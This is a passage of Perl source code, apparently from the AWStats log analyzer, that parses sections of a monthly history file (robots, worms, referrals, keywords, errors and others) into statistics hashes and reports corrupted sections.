SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4919 "", "", 1 4920 ); 4921 } 4922 if ($Debug) { 4923 debug( 4924" End of SCREENSIZE section ($count entries, $countloaded loaded)" 4925 ); 4926 } 4927 delete $SectionsToLoad{'screensize'}; 4928 if ( $SectionsToSave{'screensize'} ) { 4929 Save_History( 'screensize', $year, $month, $date ); 4930 delete $SectionsToSave{'screensize'}; 4931 if ($withpurge) { %_screensize_h = (); } 4932 } 4933 if ( !scalar %SectionsToLoad ) { 4934 debug(" Stop reading history file. Got all we need."); 4935 last; 4936 } 4937 next; 4938 } 4939 4940 # BEGIN_ROBOT 4941 if ( $field[0] eq 'BEGIN_ROBOT' ) { 4942 if ($Debug) { debug(" Begin of ROBOT section"); } 4943 $field[0] = ''; 4944 my $count = 0; 4945 my $countloaded = 0; 4946 do { 4947 if ( $field[0] ) { 4948 $count++; 4949 if ( $SectionsToLoad{'robot'} ) { 4950 $countloaded++; 4951 if ( $field[1] ) { 4952 $_robot_h{ $field[0] } += $field[1]; 4953 } 4954 $_robot_k{ $field[0] } += $field[2]; 4955 if ( !$_robot_l{ $field[0] } ) { 4956 $_robot_l{ $field[0] } = int( $field[3] ); 4957 } 4958 if ( $field[4] ) { 4959 $_robot_r{ $field[0] } += $field[4]; 4960 } 4961 } 4962 } 4963 $_ = <HISTORY>; 4964 chomp $_; 4965 s/\r//; 4966 @field = 4967 split( /\s+/, 4968 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 4969 $countlines++; 4970 } until ( $field[0] eq 'END_ROBOT' 4971 || $field[0] eq "${xmleb}END_ROBOT" 4972 || !$_ ); 4973 if ( $field[0] ne 'END_ROBOT' 4974 && $field[0] ne "${xmleb}END_ROBOT" ) 4975 { 4976 error( 4977"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 4978 "", "", 1 4979 ); 4980 } 4981 if ($Debug) { 4982 debug( 4983" End of ROBOT section ($count entries, $countloaded loaded)" 4984 ); 4985 } 4986 delete $SectionsToLoad{'robot'}; 4987 if ( $SectionsToSave{'robot'} ) { 4988 Save_History( 'robot', $year, $month, $date ); 4989 delete $SectionsToSave{'robot'}; 4990 if ($withpurge) { 4991 %_robot_h = (); 4992 %_robot_k = (); 4993 %_robot_l = (); 4994 %_robot_r = (); 4995 } 4996 } 4997 if ( !scalar %SectionsToLoad ) { 4998 debug(" Stop reading history file. Got all we need."); 4999 last; 5000 } 5001 next; 5002 } 5003 5004 # BEGIN_WORMS 5005 if ( $field[0] eq 'BEGIN_WORMS' ) { 5006 if ($Debug) { debug(" Begin of WORMS section"); } 5007 $field[0] = ''; 5008 my $count = 0; 5009 my $countloaded = 0; 5010 do { 5011 if ( $field[0] ) { 5012 $count++; 5013 if ( $SectionsToLoad{'worms'} ) { 5014 $countloaded++; 5015 if ( $field[1] ) { 5016 $_worm_h{ $field[0] } += $field[1]; 5017 } 5018 $_worm_k{ $field[0] } += $field[2]; 5019 if ( !$_worm_l{ $field[0] } ) { 5020 $_worm_l{ $field[0] } = int( $field[3] ); 5021 } 5022 } 5023 } 5024 $_ = <HISTORY>; 5025 chomp $_; 5026 s/\r//; 5027 @field = 5028 split( /\s+/, 5029 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5030 $countlines++; 5031 } until ( $field[0] eq 'END_WORMS' 5032 || $field[0] eq "${xmleb}END_WORMS" 5033 || !$_ ); 5034 if ( $field[0] ne 'END_WORMS' 5035 && $field[0] ne "${xmleb}END_WORMS" ) 5036 { 5037 error( 5038"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5039 "", "", 1 5040 ); 5041 } 5042 if ($Debug) { 5043 debug( 5044" End of WORMS section ($count entries, $countloaded loaded)" 5045 ); 5046 } 5047 delete $SectionsToLoad{'worms'}; 5048 if ( $SectionsToSave{'worms'} ) { 5049 Save_History( 'worms', $year, $month, $date ); 5050 delete $SectionsToSave{'worms'}; 5051 if ($withpurge) { 5052 %_worm_h = (); 5053 %_worm_k = (); 5054 %_worm_l = (); 5055 } 5056 } 5057 if ( !scalar %SectionsToLoad ) { 5058 debug(" Stop reading history file. Got all we need."); 5059 last; 5060 } 5061 next; 5062 } 5063 5064 # BEGIN_EMAILS 5065 if ( $field[0] eq 'BEGIN_EMAILSENDER' ) { 5066 if ($Debug) { debug(" Begin of EMAILSENDER section"); } 5067 $field[0] = ''; 5068 my $count = 0; 5069 my $countloaded = 0; 5070 do { 5071 if ( $field[0] ) { 5072 $count++; 5073 if ( $SectionsToLoad{'emailsender'} ) { 5074 $countloaded++; 5075 if ( $field[1] ) { 5076 $_emails_h{ $field[0] } += $field[1]; 5077 } 5078 if ( $field[2] ) { 5079 $_emails_k{ $field[0] } += $field[2]; 5080 } 5081 if ( !$_emails_l{ $field[0] } ) { 5082 $_emails_l{ $field[0] } = int( $field[3] ); 5083 } 5084 } 5085 } 5086 $_ = <HISTORY>; 5087 chomp $_; 5088 s/\r//; 5089 @field = 5090 split( /\s+/, 5091 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5092 $countlines++; 5093 } until ( $field[0] eq 'END_EMAILSENDER' 5094 || $field[0] eq "${xmleb}END_EMAILSENDER" 5095 || !$_ ); 5096 if ( $field[0] ne 'END_EMAILSENDER' 5097 && $field[0] ne "${xmleb}END_EMAILSENDER" ) 5098 { 5099 error( 5100"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5101 "", "", 1 5102 ); 5103 } 5104 if ($Debug) { 5105 debug( 5106" End of EMAILSENDER section ($count entries, $countloaded loaded)" 5107 ); 5108 } 5109 delete $SectionsToLoad{'emailsender'}; 5110 if ( $SectionsToSave{'emailsender'} ) { 5111 Save_History( 'emailsender', $year, $month, $date ); 5112 delete $SectionsToSave{'emailsender'}; 5113 if ($withpurge) { 5114 %_emails_h = (); 5115 %_emails_k = (); 5116 %_emails_l = (); 5117 } 5118 } 5119 if ( !scalar %SectionsToLoad ) { 5120 debug(" Stop reading history file. Got all we need."); 5121 last; 5122 } 5123 next; 5124 } 5125 5126 # BEGIN_EMAILR 5127 if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) { 5128 if ($Debug) { debug(" Begin of EMAILRECEIVER section"); } 5129 $field[0] = ''; 5130 my $count = 0; 5131 my $countloaded = 0; 5132 do { 5133 if ( $field[0] ) { 5134 $count++; 5135 if ( $SectionsToLoad{'emailreceiver'} ) { 5136 $countloaded++; 5137 if ( $field[1] ) { 5138 $_emailr_h{ $field[0] } += $field[1]; 5139 } 5140 if ( $field[2] ) { 5141 $_emailr_k{ $field[0] } += $field[2]; 5142 } 5143 if ( !$_emailr_l{ $field[0] } ) { 5144 $_emailr_l{ $field[0] } = int( $field[3] ); 5145 } 5146 } 5147 } 5148 $_ = <HISTORY>; 5149 chomp $_; 5150 s/\r//; 5151 @field = 5152 split( /\s+/, 5153 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5154 $countlines++; 5155 } until ( $field[0] eq 'END_EMAILRECEIVER' 5156 || $field[0] eq "${xmleb}END_EMAILRECEIVER" 5157 || !$_ ); 5158 if ( $field[0] ne 'END_EMAILRECEIVER' 5159 && $field[0] ne "${xmleb}END_EMAILRECEIVER" ) 5160 { 5161 error( 5162"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5163 "", "", 1 5164 ); 5165 } 5166 if ($Debug) { 5167 debug( 5168" End of EMAILRECEIVER section ($count entries, $countloaded loaded)" 5169 ); 5170 } 5171 delete $SectionsToLoad{'emailreceiver'}; 5172 if ( $SectionsToSave{'emailreceiver'} ) { 5173 Save_History( 'emailreceiver', $year, $month, $date ); 5174 delete $SectionsToSave{'emailreceiver'}; 5175 if ($withpurge) { 5176 %_emailr_h = (); 5177 %_emailr_k = (); 5178 %_emailr_l = (); 5179 } 5180 } 5181 if ( !scalar %SectionsToLoad ) { 5182 debug(" Stop reading history file. Got all we need."); 5183 last; 5184 } 5185 next; 5186 } 5187 5188 # BEGIN_SIDER 5189 if ( $field[0] eq 'BEGIN_SIDER' ) { 5190 if ($Debug) { debug(" Begin of SIDER section"); } 5191 $field[0] = ''; 5192 my $count = 0; 5193 my $countloaded = 0; 5194 do { 5195 if ( $field[0] ) { 5196 $count++; 5197 if ( $SectionsToLoad{'sider'} ) { 5198 my $loadrecord = 0; 5199 if ($withupdate) { 5200 $loadrecord = 1; 5201 } 5202 else { 5203 if ( $HTMLOutput{'main'} ) { 5204 if ( $MonthRequired eq 'all' ) { 5205 $loadrecord = 1; 5206 } 5207 else { 5208 if ( 5209 $countloaded < $MaxNbOf{'PageShown'} 5210 && $field[1] >= $MinHit{'File'} ) 5211 { 5212 $loadrecord = 1; 5213 } 5214 $TotalDifferentPages++; 5215 } 5216 } 5217 else 5218 { # This is for $HTMLOutput = urldetail, urlentry or urlexit 5219 if ( $MonthRequired eq 'all' ) { 5220 if ( 5221 ( 5222 !$FilterIn{'url'} 5223 || $field[0] =~ 5224 /$FilterIn{'url'}/ 5225 ) 5226 && ( !$FilterEx{'url'} 5227 || $field[0] !~ 5228 /$FilterEx{'url'}/ ) 5229 ) 5230 { 5231 $loadrecord = 1; 5232 } 5233 } 5234 else { 5235 if ( 5236 ( 5237 !$FilterIn{'url'} 5238 || $field[0] =~ 5239 /$FilterIn{'url'}/ 5240 ) 5241 && ( !$FilterEx{'url'} 5242 || $field[0] !~ 5243 /$FilterEx{'url'}/ ) 5244 && $field[1] >= $MinHit{'File'} 5245 ) 5246 { 5247 $loadrecord = 1; 5248 } 5249 $TotalDifferentPages++; 5250 } 5251 } 5252 5253# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere 5254 $TotalBytesPages += ( $field[2] || 0 ); 5255 $TotalEntries += ( $field[3] || 0 ); 5256 $TotalExits += ( $field[4] || 0 ); 5257 } 5258 if ($loadrecord) { 5259 if ( $field[1] ) { 5260 $_url_p{ $field[0] } += $field[1]; 5261 } 5262 if ( $field[2] ) { 5263 $_url_k{ $field[0] } += $field[2]; 5264 } 5265 if ( $field[3] ) { 5266 $_url_e{ $field[0] } += $field[3]; 5267 } 5268 if ( $field[4] ) { 5269 $_url_x{ $field[0] } += $field[4]; 5270 } 5271 $countloaded++; 5272 } 5273 } 5274 } 5275 $_ = <HISTORY>; 5276 chomp $_; 5277 s/\r//; 5278 @field = 5279 split( /\s+/, 5280 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5281 $countlines++; 5282 } until ( $field[0] eq 'END_SIDER' 5283 || $field[0] eq "${xmleb}END_SIDER" 5284 || !$_ ); 5285 if ( $field[0] ne 'END_SIDER' 5286 && $field[0] ne "${xmleb}END_SIDER" ) 5287 { 5288 error( 5289"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5290 "", "", 1 5291 ); 5292 } 5293 if ($Debug) { 5294 debug( 5295" End of SIDER section ($count entries, $countloaded loaded)" 5296 ); 5297 } 5298 delete $SectionsToLoad{'sider'}; 5299 5300# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR 5301#if ($SectionsToSave{'sider'}) { 5302# Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'}; 5303# if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); } 5304#} 5305 if ( !scalar %SectionsToLoad ) { 5306 debug(" Stop reading history file. Got all we need."); 5307 last; 5308 } 5309 next; 5310 } 5311 5312 # BEGIN_FILETYPES 5313 if ( $field[0] eq 'BEGIN_FILETYPES' ) { 5314 if ($Debug) { debug(" Begin of FILETYPES section"); } 5315 $field[0] = ''; 5316 my $count = 0; 5317 my $countloaded = 0; 5318 do { 5319 if ( $field[0] ) { 5320 $count++; 5321 if ( $SectionsToLoad{'filetypes'} ) { 5322 $countloaded++; 5323 if ( $field[1] ) { 5324 $_filetypes_h{ $field[0] } += $field[1]; 5325 } 5326 if ( $field[2] ) { 5327 $_filetypes_k{ $field[0] } += $field[2]; 5328 } 5329 if ( $field[3] ) { 5330 $_filetypes_gz_in{ $field[0] } += $field[3]; 5331 } 5332 if ( $field[4] ) { 5333 $_filetypes_gz_out{ $field[0] } += $field[4]; 5334 } 5335 } 5336 } 5337 $_ = <HISTORY>; 5338 chomp $_; 5339 s/\r//; 5340 @field = 5341 split( /\s+/, 5342 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5343 $countlines++; 5344 } until ( $field[0] eq 'END_FILETYPES' 5345 || $field[0] eq "${xmleb}END_FILETYPES" 5346 || !$_ ); 5347 if ( $field[0] ne 'END_FILETYPES' 5348 && $field[0] ne "${xmleb}END_FILETYPES" ) 5349 { 5350 error( 5351"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5352 "", "", 1 5353 ); 5354 } 5355 if ($Debug) { 5356 debug( 5357" End of FILETYPES section ($count entries, $countloaded loaded)" 5358 ); 5359 } 5360 delete $SectionsToLoad{'filetypes'}; 5361 if ( $SectionsToSave{'filetypes'} ) { 5362 Save_History( 'filetypes', $year, $month, $date ); 5363 delete $SectionsToSave{'filetypes'}; 5364 if ($withpurge) { 5365 %_filetypes_h = (); 5366 %_filetypes_k = (); 5367 %_filetypes_gz_in = (); 5368 %_filetypes_gz_out = (); 5369 } 5370 } 5371 if ( !scalar %SectionsToLoad ) { 5372 debug(" Stop reading history file. Got all we need."); 5373 last; 5374 } 5375 next; 5376 } 5377 5378 # BEGIN_DOWNLOADS 5379 if ( $field[0] eq 'BEGIN_DOWNLOADS' ) { 5380 if ($Debug) { 5381 debug(" Begin of DOWNLOADS section"); 5382 } 5383 $field[0] = ''; 5384 my $count = 0; 5385 my $counttoload = int($field[1]); 5386 my $countloaded = 0; 5387 do { 5388 if ( $field[0] ) { 5389 $count++; 5390 if ( $SectionsToLoad{'downloads'}) { 5391 $countloaded++; 5392 $_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] ); 5393 $_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] ); 5394 $_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] ); 5395 } 5396 } 5397 $_ = <HISTORY>; 5398 chomp $_; 5399 s/\r//; 5400 @field = 5401 split( /\s+/, 5402 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5403 $countlines++; 5404 } until ( $field[0] eq 'END_DOWNLOADS' 5405 || $field[0] eq "${xmleb}END_DOWNLOADS" 5406 || !$_ ); 5407 if ( $field[0] ne 'END_DOWNLOADS' 5408 && $field[0] ne "${xmleb}END_DOWNLOADS" ) 5409 { 5410 error( 5411"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5412 "", "", 1 5413 ); 5414 } 5415 if ($Debug) { 5416 debug( 5417" End of DOWNLOADS section ($count entries, $countloaded loaded)" 5418 ); 5419 } 5420 delete $SectionsToLoad{'downloads'}; 5421 if ( $SectionsToSave{'downloads'} ) { 5422 Save_History( 'downloads', 5423 $year, $month, $date ); 5424 delete $SectionsToSave{'downloads'}; 5425 if ($withpurge) { %_downloads = (); } 5426 } 5427 if ( !scalar %SectionsToLoad ) { 5428 debug(" Stop reading history file. Got all we need."); 5429 last; 5430 } 5431 next; 5432 } 5433 5434 # BEGIN_SEREFERRALS 5435 if ( $field[0] eq 'BEGIN_SEREFERRALS' ) { 5436 if ($Debug) { debug(" Begin of SEREFERRALS section"); } 5437 $field[0] = ''; 5438 my $count = 0; 5439 my $countloaded = 0; 5440 do { 5441 if ( $field[0] ) { 5442 $count++; 5443 if ( $SectionsToLoad{'sereferrals'} ) { 5444 $countloaded++; 5445 if ( $versionnum < 5004 ) 5446 { # For history files < 5.4 5447 my $se = $field[0]; 5448 $se =~ s/\./\\./g; 5449 if ( $SearchEnginesHashID{$se} ) { 5450 $_se_referrals_h{ $SearchEnginesHashID{$se} 5451 } += $field[1] 5452 || 0; 5453 } 5454 else { 5455 $_se_referrals_h{ $field[0] } += $field[1] 5456 || 0; 5457 } 5458 } 5459 elsif ( $versionnum < 5091 ) 5460 { # For history files < 5.91 5461 my $se = $field[0]; 5462 $se =~ s/\./\\./g; 5463 if ( $SearchEnginesHashID{$se} ) { 5464 $_se_referrals_p{ $SearchEnginesHashID{$se} 5465 } += $field[1] 5466 || 0; 5467 $_se_referrals_h{ $SearchEnginesHashID{$se} 5468 } += $field[2] 5469 || 0; 5470 } 5471 else { 5472 $_se_referrals_p{ $field[0] } += $field[1] 5473 || 0; 5474 $_se_referrals_h{ $field[0] } += $field[2] 5475 || 0; 5476 } 5477 } 5478 else { 5479 if ( $field[1] ) { 5480 $_se_referrals_p{ $field[0] } += $field[1]; 5481 } 5482 if ( $field[2] ) { 5483 $_se_referrals_h{ $field[0] } += $field[2]; 5484 } 5485 } 5486 } 5487 } 5488 $_ = <HISTORY>; 5489 chomp $_; 5490 s/\r//; 5491 @field = 5492 split( /\s+/, 5493 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5494 $countlines++; 5495 } until ( $field[0] eq 'END_SEREFERRALS' 5496 || $field[0] eq "${xmleb}END_SEREFERRALS" 5497 || !$_ ); 5498 if ( $field[0] ne 'END_SEREFERRALS' 5499 && $field[0] ne "${xmleb}END_SEREFERRALS" ) 5500 { 5501 error( 5502"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5503 "", "", 1 5504 ); 5505 } 5506 if ($Debug) { 5507 debug( 5508" End of SEREFERRALS section ($count entries, $countloaded loaded)" 5509 ); 5510 } 5511 delete $SectionsToLoad{'sereferrals'}; 5512 if ( $SectionsToSave{'sereferrals'} ) { 5513 Save_History( 'sereferrals', $year, $month, $date ); 5514 delete $SectionsToSave{'sereferrals'}; 5515 if ($withpurge) { 5516 %_se_referrals_p = (); 5517 %_se_referrals_h = (); 5518 } 5519 } 5520 if ( !scalar %SectionsToLoad ) { 5521 debug(" Stop reading history file. Got all we need."); 5522 last; 5523 } 5524 next; 5525 } 5526 5527 # BEGIN_PAGEREFS 5528 if ( $field[0] eq 'BEGIN_PAGEREFS' ) { 5529 if ($Debug) { debug(" Begin of PAGEREFS section"); } 5530 $field[0] = ''; 5531 my $count = 0; 5532 my $countloaded = 0; 5533 do { 5534 if ( $field[0] ) { 5535 $count++; 5536 if ( $SectionsToLoad{'pagerefs'} ) { 5537 my $loadrecord = 0; 5538 if ($withupdate) { 5539 $loadrecord = 1; 5540 } 5541 else { 5542 if ( 5543 ( 5544 !$FilterIn{'refererpages'} 5545 || $field[0] =~ 5546 /$FilterIn{'refererpages'}/ 5547 ) 5548 && ( !$FilterEx{'refererpages'} 5549 || $field[0] !~ 5550 /$FilterEx{'refererpages'}/ ) 5551 ) 5552 { 5553 $loadrecord = 1; 5554 } 5555 } 5556 if ($loadrecord) { 5557 if ( $versionnum < 5004 ) 5558 { # For history files < 5.4 5559 if ( $field[1] ) { 5560 $_pagesrefs_h{ $field[0] } += 5561 int( $field[1] ); 5562 } 5563 } 5564 else { 5565 if ( $field[1] ) { 5566 $_pagesrefs_p{ $field[0] } += 5567 int( $field[1] ); 5568 } 5569 if ( $field[2] ) { 5570 $_pagesrefs_h{ $field[0] } += 5571 int( $field[2] ); 5572 } 5573 } 5574 $countloaded++; 5575 } 5576 } 5577 } 5578 $_ = <HISTORY>; 5579 chomp $_; 5580 s/\r//; 5581 @field = 5582 split( /\s+/, 5583 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5584 $countlines++; 5585 } until ( $field[0] eq 'END_PAGEREFS' 5586 || $field[0] eq "${xmleb}END_PAGEREFS" 5587 || !$_ ); 5588 if ( $field[0] ne 'END_PAGEREFS' 5589 && $field[0] ne "${xmleb}END_PAGEREFS" ) 5590 { 5591 error( 5592"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5593 "", "", 1 5594 ); 5595 } 5596 if ($Debug) { 5597 debug( 5598" End of PAGEREFS section ($count entries, $countloaded loaded)" 5599 ); 5600 } 5601 delete $SectionsToLoad{'pagerefs'}; 5602 if ( $SectionsToSave{'pagerefs'} ) { 5603 Save_History( 'pagerefs', $year, $month, $date ); 5604 delete $SectionsToSave{'pagerefs'}; 5605 if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); } 5606 } 5607 if ( !scalar %SectionsToLoad ) { 5608 debug(" Stop reading history file. Got all we need."); 5609 last; 5610 } 5611 next; 5612 } 5613 5614 # BEGIN_SEARCHWORDS 5615 if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) { 5616 if ($Debug) { 5617 debug( 5618" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})" 5619 ); 5620 } 5621 $field[0] = ''; 5622 my $count = 0; 5623 my $countloaded = 0; 5624 do { 5625 if ( $field[0] ) { 5626 $count++; 5627 if ( $SectionsToLoad{'searchwords'} ) { 5628 my $loadrecord = 0; 5629 if ($withupdate) { 5630 $loadrecord = 1; 5631 } 5632 else { 5633 if ( $HTMLOutput{'main'} ) { 5634 if ( $MonthRequired eq 'all' ) { 5635 $loadrecord = 1; 5636 } 5637 else { 5638 if ( $countloaded < 5639 $MaxNbOf{'KeyphrasesShown'} 5640 && $field[1] >= 5641 $MinHit{'Keyphrase'} ) 5642 { 5643 $loadrecord = 1; 5644 } 5645 $TotalDifferentKeyphrases++; 5646 $TotalKeyphrases += ( $field[1] || 0 ); 5647 } 5648 } 5649 elsif ( $HTMLOutput{'keyphrases'} ) 5650 { # Load keyphrases for keyphrases chart 5651 if ( $MonthRequired eq 'all' ) { 5652 $loadrecord = 1; 5653 } 5654 else { 5655 if ( $field[1] >= $MinHit{'Keyphrase'} ) 5656 { 5657 $loadrecord = 1; 5658 } 5659 $TotalDifferentKeyphrases++; 5660 $TotalKeyphrases += ( $field[1] || 0 ); 5661 } 5662 } 5663 if ( $HTMLOutput{'keywords'} ) 5664 { # Load keyphrases for keywords chart 5665 $loadrecord = 2; 5666 } 5667 } 5668 if ($loadrecord) { 5669 if ( $field[1] ) { 5670 if ( $loadrecord == 2 ) { 5671 foreach ( split( /\+/, $field[0] ) ) 5672 { # field[0] is "val1+val2+..." 5673 $_keywords{$_} += $field[1]; 5674 } 5675 } 5676 else { 5677 $_keyphrases{ $field[0] } += $field[1]; 5678 } 5679 } 5680 $countloaded++; 5681 } 5682 } 5683 } 5684 $_ = <HISTORY>; 5685 chomp $_; 5686 s/\r//; 5687 @field = 5688 split( /\s+/, 5689 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5690 $countlines++; 5691 } until ( $field[0] eq 'END_SEARCHWORDS' 5692 || $field[0] eq "${xmleb}END_SEARCHWORDS" 5693 || !$_ ); 5694 if ( $field[0] ne 'END_SEARCHWORDS' 5695 && $field[0] ne "${xmleb}END_SEARCHWORDS" ) 5696 { 5697 error( 5698"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5699 "", "", 1 5700 ); 5701 } 5702 if ($Debug) { 5703 debug( 5704" End of SEARCHWORDS section ($count entries, $countloaded loaded)" 5705 ); 5706 } 5707 delete $SectionsToLoad{'searchwords'}; 5708 if ( $SectionsToSave{'searchwords'} ) { 5709 Save_History( 'searchwords', $year, $month, $date ); 5710 delete $SectionsToSave{ 'searchwords' 5711 }; # This save searwords and keywords sections 5712 if ($withpurge) { %_keyphrases = (); } 5713 } 5714 if ( !scalar %SectionsToLoad ) { 5715 debug(" Stop reading history file. Got all we need."); 5716 last; 5717 } 5718 next; 5719 } 5720 5721 # BEGIN_KEYWORDS 5722 if ( $field[0] eq 'BEGIN_KEYWORDS' ) { 5723 if ($Debug) { 5724 debug( 5725" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})" 5726 ); 5727 } 5728 $field[0] = ''; 5729 my $count = 0; 5730 my $countloaded = 0; 5731 do { 5732 if ( $field[0] ) { 5733 $count++; 5734 if ( $SectionsToLoad{'keywords'} ) { 5735 my $loadrecord = 0; 5736 if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } 5737 else { 5738 if ( $countloaded < $MaxNbOf{'KeywordsShown'} 5739 && $field[1] >= $MinHit{'Keyword'} ) 5740 { 5741 $loadrecord = 1; 5742 } 5743 $TotalDifferentKeywords++; 5744 $TotalKeywords += ( $field[1] || 0 ); 5745 } 5746 if ($loadrecord) { 5747 if ( $field[1] ) { 5748 $_keywords{ $field[0] } += $field[1]; 5749 } 5750 $countloaded++; 5751 } 5752 } 5753 } 5754 $_ = <HISTORY>; 5755 chomp $_; 5756 s/\r//; 5757 @field = 5758 split( /\s+/, 5759 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5760 $countlines++; 5761 } until ( $field[0] eq 'END_KEYWORDS' 5762 || $field[0] eq "${xmleb}END_KEYWORDS" 5763 || !$_ ); 5764 if ( $field[0] ne 'END_KEYWORDS' 5765 && $field[0] ne "${xmleb}END_KEYWORDS" ) 5766 { 5767 error( 5768"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5769 "", "", 1 5770 ); 5771 } 5772 if ($Debug) { 5773 debug( 5774" End of KEYWORDS section ($count entries, $countloaded loaded)" 5775 ); 5776 } 5777 delete $SectionsToLoad{'keywords'}; 5778 if ( $SectionsToSave{'keywords'} ) { 5779 Save_History( 'keywords', $year, $month, $date ); 5780 delete $SectionsToSave{'keywords'}; 5781 if ($withpurge) { %_keywords = (); } 5782 } 5783 if ( !scalar %SectionsToLoad ) { 5784 debug(" Stop reading history file. Got all we need."); 5785 last; 5786 } 5787 next; 5788 } 5789 5790 # BEGIN_ERRORS 5791 if ( $field[0] eq 'BEGIN_ERRORS' ) { 5792 if ($Debug) { debug(" Begin of ERRORS section"); } 5793 $field[0] = ''; 5794 my $count = 0; 5795 my $countloaded = 0; 5796 do { 5797 if ( $field[0] ) { 5798 $count++; 5799 if ( $SectionsToLoad{'errors'} ) { 5800 $countloaded++; 5801 if ( $field[1] ) { 5802 $_errors_h{ $field[0] } += $field[1]; 5803 } 5804 if ( $field[2] ) { 5805 $_errors_k{ $field[0] } += $field[2]; 5806 } 5807 } 5808 } 5809 $_ = <HISTORY>; 5810 chomp $_; 5811 s/\r//; 5812 @field = 5813 split( /\s+/, 5814 ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); 5815 $countlines++; 5816 } until ( $field[0] eq 'END_ERRORS' 5817 || $field[0] eq "${xmleb}END_ERRORS" 5818 || !$_ ); 5819 if ( $field[0] ne 'END_ERRORS' 5820 && $field[0] ne "${xmleb}END_ERRORS" ) 5821 { 5822 error( 5823"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5824 "", "", 1 5825 ); 5826 } 5827 if ($Debug) { 5828 debug( 5829" End of ERRORS section ($count entries, $countloaded loaded)" 5830 ); 5831 } 5832 delete $SectionsToLoad{'errors'}; 5833 if ( $SectionsToSave{'errors'} ) { 5834 Save_History( 'errors', $year, $month, $date ); 5835 delete $SectionsToSave{'errors'}; 5836 if ($withpurge) { %_errors_h = (); %_errors_k = (); } 5837 } 5838 if ( !scalar %SectionsToLoad ) { 5839 debug(" Stop reading history file. Got all we need."); 5840 last; 5841 } 5842 next; 5843 } 5844 5845 # BEGIN_SIDER_xxx 5846 foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { 5847 if ( $field[0] eq "BEGIN_SIDER_$code" ) { 5848 if ($Debug) { debug(" Begin of SIDER_$code section"); } 5849 $field[0] = ''; 5850 my $count = 0; 5851 my $countloaded = 0; 5852 do { 5853 if ( $field[0] ) { 5854 $count++; 5855 if ( $SectionsToLoad{"sider_$code"} ) { 5856 $countloaded++; 5857 if ( $field[1] ) { 5858 $_sider_h{$code}{$field[0]} += $field[1]; 5859 } 5860 if ( $withupdate || $HTMLOutput{"errors$code"} ) 5861 { 5862 my $fieldidx = 2; 5863 foreach (split(//, $ShowHTTPErrorsPageDetail)) { 5864 last if (! $field[$fieldidx] ); 5865 if ( $_ =~ /R/i ) { 5866 $_referer_h{$code}{$field[0]} = $field[2]; 5867 } elsif ( $_ =~ /H/i ) { 5868 $_err_host_h{$code}{$field[0]} = $field[$fieldidx]; 5869 } 5870 $fieldidx++; 5871 } 5872 } 5873 } 5874 } 5875 